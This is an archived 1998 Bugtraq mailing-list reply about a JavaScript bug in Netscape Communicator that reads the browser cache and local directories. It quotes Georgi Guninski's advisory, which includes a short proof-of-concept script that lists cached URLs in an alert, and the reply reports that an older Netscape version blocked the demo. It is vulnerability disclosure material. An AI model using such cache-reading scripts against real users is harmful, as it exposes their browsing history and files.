Home page logo

bugtraq logo Bugtraq mailing list archives

Re: Javascript bug in Netscape Communicator 4.5
From: iguthrie () swbell net (Ian Guthrie)
Date: Wed, 28 Oct 1998 18:33:40 -0600

FYI: I run Netscape 4.04 and this is what I got trying that link:

JavaScript Error: file:/c|/, line 2:

access disallowed from scripts at
http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at
another domain.


Georgi Guninski wrote:

There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95
(probably others) which allows reading user's cache (the urls the user
visited, including the info in GET forms). Reading local directories
is also allowed. This info may be sent to an arbitrary host.
The bug may be exploited by email.

Demonstration is available at:
 Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html
 Directory reading:

The javascript code is:

//For Netscape 3.04 remove 'wysiwyg://1/'
sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here
are some links from your cache:\"; for(i=0;i<5;i++)
x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()";

Workaround: Disable Javascript.

Georgi Guninski

Get Your Private, Free Email at http://www.hotmail.com

  By Date           By Thread  

Current thread:
  • Re: Javascript bug in Netscape Communicator 4.5 Ian Guthrie (Oct 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]